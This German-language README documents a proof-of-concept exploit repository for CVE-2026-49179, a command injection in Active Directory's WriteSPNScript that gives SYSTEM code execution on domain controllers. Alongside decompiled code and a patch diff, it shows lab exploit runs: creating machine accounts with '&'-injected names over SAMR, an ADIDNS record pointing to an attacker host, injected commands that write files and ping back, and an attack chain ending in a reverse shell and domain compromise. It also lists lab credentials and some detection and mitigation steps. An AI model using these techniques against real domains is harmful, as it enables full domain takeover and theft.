
Proof-of-Concept- und Exploit-Skripte für CVE-2026-49179, eine Command Injection in der WriteSPNScript-Funktion von Active Directory, die SYSTEM-RCE auf Domänencontrollern ermöglicht.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Command Injection) |
| Betroffene Komponente | ntdsai.dll — WriteSPNScript-Funktion |
| Betroffene Systeme | Windows Server 2016, 2019, 2022, 2025 (vor Patch) |
| Angriffsvektor | Authentifizierter Domänenbenutzer (beliebiger) |
| Auswirkung | Remote Code Execution als SYSTEM auf dem Domänencontroller |
| Veröffentlicht | August 2026 |
Die WriteSPNScript-Funktion in ntdsai.dll generiert Batch-Skriptbefehle für die SPN-(Service Principal Name)-Behebung während Active-Directory-Wartungsvorgängen. Die Funktion verwendet eine Formatzeichenfolge, um repadmin.exe /writespn-Befehle zu konstruieren, versäumt es jedoch, den Distinguished Name (DN)-Parameter zu bereinigen, was eine Command Injection über das &-Zeichen (cmd.exe-Befehlstrenner) ermöglicht.
Die verwundbare Formatzeichenfolge:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Parameter: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
Der DN wird vom Common Name (CN) des Maschinenkontos abgeleitet, der bei der Kontoerstellung festgelegt wird. Wenn ein Maschinenkonto mit Shell-Metazeichen im Namen erstellt wird, fließen diese Zeichen unescaped in das generierte Skript ein. Wenn cmd.exe das Skript ausführt, fungiert & als Befehlstrenner und führt angreifergesteuerte Befehle als SYSTEM aus.
Active Directory verfügt über zwei primäre Protokolle zur Verwaltung von Maschinenkonten:
Diese Validierungsasymmetrie ist die Ursache:
sAMAccountName, der zum CN wird und in den DN fließtWriteSPNScript übergebenAn Adresse 0x1802a98a0 im ungepatchten Binary:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formatiert den DN direkt in den Ausgabepuffer. Kein Escaping, kein Quoting, keine Bereinigung.
Für eine Maschine mit CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interpretiert dies als fünf separate Anweisungen:
Der injizierte Befehl erscheint zweimal — einmal aus dem DN-Parameter und einmal aus dem SPN-Parameter (der ebenfalls den Maschinennamen enthält).
Die gepatchte WriteSPNScript (Größe: 1477 → 2005 Bytes) nimmt drei Änderungen vor:
Zwei neue Bereinigungsfunktionen, die auf beide Parameter — DN und SPN — angewendet werden:
EscapeForPowerShellSingleQuote() — escaped ', um ein Ausbrechen aus einfach-quotierten Zeichenfolgen zu verhindernEscapeForNativeArgvBackslashesBeforeDoubleQuote() — escaped \-Sequenzen vor " für natives argv-ParsingEine frühere Revision hatte ein Feature-Flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled, das den Fix steuerte. Im endgültigen Patch wurde dieses Flag entfernt — der Fix ist immer aktiv und kann nicht deaktiviert werden.
Mit spn_probe3.py wurde getestet, welche Zeichen SAMR in Maschinenkontonamen akzeptiert im Vergleich zu denen, die LDAP in SPN-Werten akzeptiert:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Zentrale Erkenntnis: SAMR erlaubt alle 8 getesteten Shell-Metazeichen. LDAP blockiert alle. Der Injektionsvektor verläuft über SAMR-erstellte Maschinennamen, nicht über SPN-Werte.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Ebenfalls als samwell.tarly erstellt:
[+] Created C&ping a&D$, RID: 1138
Bestätigt: Ein normaler Domänenbenutzer (PR:L) kann Maschinenkonten mit &-Command-Injection im Namen erstellen.
Normale Domänenbenutzer können ADIDNS-Einträge hinzufügen. Mit dnstool.py wurde ein kurzer Hostname erstellt, der auf den Angreifer zeigt:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Auflösung auf dem DC verifiziert:
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name: a.north.sevenkingdoms.local
Address: 192.168.14.238
Simulation der exakten Ausgabe, die WriteSPNScript generieren würde, ausgeführt auf dem DC:
Dateischreib-Nachweis:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED
ICMP-Callback-Nachweis:
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"
Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Angreifer-tcpdump bestätigte den ICMP-Eingang:
02:36:10.815690 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12
Sowohl der Dateischreibvorgang als auch der ICMP-Callback bestätigen die Command Injection über den DN.
Der sAMAccountName eines Maschinenkontos ist auf etwa 15 Zeichen vor dem abschließenden $ begrenzt (NetBIOS-Kompatibilitätsbeschränkung). Dies schränkt die Payload-Komplexität erheblich ein.
Auswirkung: IP-Adressen, lange Befehle oder komplexe Payloads können nicht direkt in den Maschinennamen eingebettet werden.
Workaround: Kurze DNS-Hostnamen für Callbacks verwenden (z. B. ein einzelnes Zeichen a, das auf die Angreifer-IP verweist). Payloads müssen knapp sein:
A&ping a&B (11 Zeichen) — ICMP-CallbackA&echo X&B (11 Zeichen) — AusführungsnachweisA&calc&B (8 Zeichen) — GUI-Nachweis auf dem DCA&whoami&B (11 Zeichen) — KontextbestätigungWährend SAMR Shell-Metazeichen akzeptiert (& ' \ $ ( ) ! Leerzeichen`), lehnt es Zeichen ab, die für Dateipfade und Netzwerkadressen benötigt werden:
Auswirkung: IP-Adressen, Dateipfade oder URLs können nicht direkt in Payloads verwendet werden.
Workaround:
%TEMP%, %SYSTEMROOT%) — obwohl die Akzeptanz von % unbestätigt istWriteSPNScript generiert eine Skriptdatei über WriteFile — es führt Befehle nicht direkt aus. Das generierte Skript muss von einem nachfolgenden Prozess ausgeführt werden. Die Funktion wird aufgerufen während:
dcdiag /fix — Administrator führt Diagnose-/Reparaturtool ausFixupSPNsOnComputerObject — SPN-Korrektur bei AttributänderungenAuswirkung: Die Injection wird sofort vorbereitet (Maschinenerstellung), aber die Ausführung hängt von einem Trigger-Ereignis auf dem DC ab. In einer Umgebung mit einem einzigen DC ohne Replikationspartner kann der Trigger Administratoraktivität erfordern (z. B. Ausführen von dcdiag /fix).
In Produktionsumgebungen: Multi-DC-Bereitstellungen haben regelmäßige Replikationszyklen. SPN-Fehlübereinstimmungen, die während der Replikation entdeckt werden, würden WriteSPNScript automatisch als Teil der Konfliktlösung auslösen.
Das Standard-ms-DS-MachineAccountQuota beträgt 10 pro Benutzer. Jeder Injektionsversuch verbraucht einen Slot. Maschinenkonten mit Sonderzeichen in ihren Namen sind über Standardtools schwer zu löschen.
Auswirkung: Begrenzte Versuche pro Benutzerkonto. Fehlgeschlagene Versuche verschwenden Kontingent.
Workaround: Jeder Domänenbenutzer erhält sein eigenes Kontingent. In Umgebungen mit vielen Benutzern könnte ein Angreifer mehrere Konten verwenden.
Maschinenkonten, die mit &, $, (, ) in ihren Namen erstellt wurden, können über Standard-AD-Verwaltungstools (ADUC, PowerShell Remove-ADComputer) nicht einfach gelöscht werden, da die Sonderzeichen die Befehlsanalyse stören. Dies hinterlässt forensische Artefakte.
Ein alternativer Ausnutzungspfad — Erstellen einer sauber benannten Maschine, Festlegen gültiger SPNs, dann Umbenennen, um den DN zu injizieren — wurde getestet, aber die LDAP-ModifyDN-(Umbenennungs)-Operation erfordert erhöhte Rechte:
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark: [+] Rename succeeded (domain admin)
Auswirkung: Die Umbenennungsstrategie ist für PR:L nicht praktikabel. Die direkte SAMR-Erstellung mit Injektionszeichen ist der PR:L-Pfad.
&<Befehl>& im Namen über SAMRWriteSPNScript aus, das einen unescaped repadmin.exe-Befehl generiertTag 1: Angreifer (beliebiger Domänenbenutzer) führt Exploit aus
- Erstellt Maschine "A&ping a&B$" via SAMR
- Fügt DNS-Eintrag "a" hinzu, der auf seinen C2-Server zeigt
- Injection ist vorbereitet — Angreifer wartet
Tag N: Administrator führt dcdiag /fix aus (Routinewartung)
- WriteSPNScript verarbeitet das bösartige Maschinenkonto
- Generiert repadmin-Befehl mit unescaped DN
- cmd.exe führt "ping a" als SYSTEM aus → bestätigt Callback
Tag N: Angreifer aktualisiert Payload
- Erstellt neue Maschine mit Reverse-Shell-Payload
- Wartet auf nächsten Wartungszyklus oder Replikationsereignis
- SYSTEM-Shell auf DC → vollständige Domänenkompromittierung
Sicherheitsupdate anwenden von Microsofts Patch Tuesday August 2026
Maschinenkonten auf ungewöhnliche Zeichen prüfen:
Get-ADComputer -Filter * -Properties sAMAccountName |
Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
Select-Object Name, sAMAccountName, Created, DistinguishedName
ms-DS-MachineAccountQuota auf 0 setzen, um zu verhindern, dass normale Benutzer Maschinenkonten erstellen:
Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
Ereignis-ID 4741 überwachen (Computer-Konto erstellt) auf ungewöhnliche Zeichen in Kontonamen
ADIDNS-Eintragserstellung einschränken, falls von normalen Benutzern nicht benötigt
| Protokoll | Zeichenvalidierung | Shell-Metazeichen |
|---|
| LDAP (SPN-Werte) | Streng — CONSTRAINT_ATT_TYPE lehnt & ; | ' \ $ ( )` ab | Blockiert |
| SAMR (Maschinennamen) | Locker — validiert grundlegendes Kontonamenformat | Erlaubt: & ' \ $ ( ) ! Leerzeichen` |
| # | Anweisung | Ergebnis |
|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Schlägt fehl (abgeschnittener DN) |
| 2 | ping attacker | INJIZIERT — wird als SYSTEM ausgeführt |
| 3 | B,CN=Computers,DC=... HOST/A | Schlägt fehl (kein gültiger Befehl) |
| 4 | ping attacker | INJIZIERT — wird erneut ausgeführt (aus SPN-Parameter) |
| 5 | B | Schlägt fehl (kein gültiger Befehl) |
| Basis (Verwundbar) | Gepatcht |
|---|
| Funktion | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Quoting | Keines | Einfach-quotierte Parameter |
| Ausgabe | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
| Host | Rolle | IP | OS |
|---|
| WINTERFELL | Domänencontroller | 192.168.56.11 | Windows Server 2019 |
| Angreifer | Kali Linux | 192.168.14.238 | Kali 2026 |
| Domäne | north.sevenkingdoms.local | ||
| Benutzer mit geringen Rechten | samwell.tarly / Heartsbane | Normaler Domänenbenutzer | |
| Admin-Benutzer | robb.stark / sexywolfy | Domänenadministrator |
| Schritt | Aktion | Akteur | Ergebnis |
|---|
| 1 | SAMR akzeptiert & in Maschinennamen | samwell.tarly (PR:L) | RID 1125, 1137, 1138 |
| 2 | LDAP lehnt & in SPN-Werten ab | samwell.tarly | 100 % Ablehnung |
| 3 | DNS-Eintragserstellung für Callback | samwell.tarly (PR:L) | a → 192.168.14.238 |
| 4 | Maschinenkonto mit Injektions-CN | samwell.tarly (PR:L) | A&echo POC&B$, C&ping a&D$ |
| 5 | Dateischreibvorgang via cmd-Injection | DC (simuliertes WriteSPNScript) | proof.txt = "INJECTED" |
| 6 | ICMP-Callback via cmd-Injection | DC (simuliertes WriteSPNScript) | 3 Pings empfangen |
| Abgelehnt | Blockierter Anwendungsfall |
|---|
. (Punkt) | IP-Adressen (192.168.1.1), FQDNs |
\ (Backslash) | Windows-Pfade (C:\Windows\...) |
/ (Vorwärtsschrägstrich) | URL-Pfade, Unix-Pfade |
: (Doppelpunkt) | Laufwerksbuchstaben (C:), Portnummern |
" (doppeltes Anführungszeichen) | Quoting/Escaping in Payloads |
< > | ; , = + * ? | Umleitung, Piping, Wildcards |
| Datei | Beschreibung |
|---|
poc/spn_probe.py | Testet alle 28 Shell-Metazeichen in LDAP-SPN-Werten |
poc/spn_probe2.py | Testet Unicode-Vollbreiten-/Homoglyph-Bypass + DRSUAPI-Transport |
poc/spn_probe3.py | Testet SAMR vs. LDAP vs. DRSUAPI Zeichenakzeptanz |
poc/spn_exploit.py | Exploit über Umbenennungsstrategie (Erstellen → SPN → Umbenennen → Injizieren) |
poc/spn_prl_exploit.py | PR:L-Exploit (direkte SAMR-Erstellung + optionaler dNSHostName-Trigger) |
nspi_diff_analysis.txt | Vollständiger Binärvergleich von ntdsai.dll (Basis vs. gepatcht) |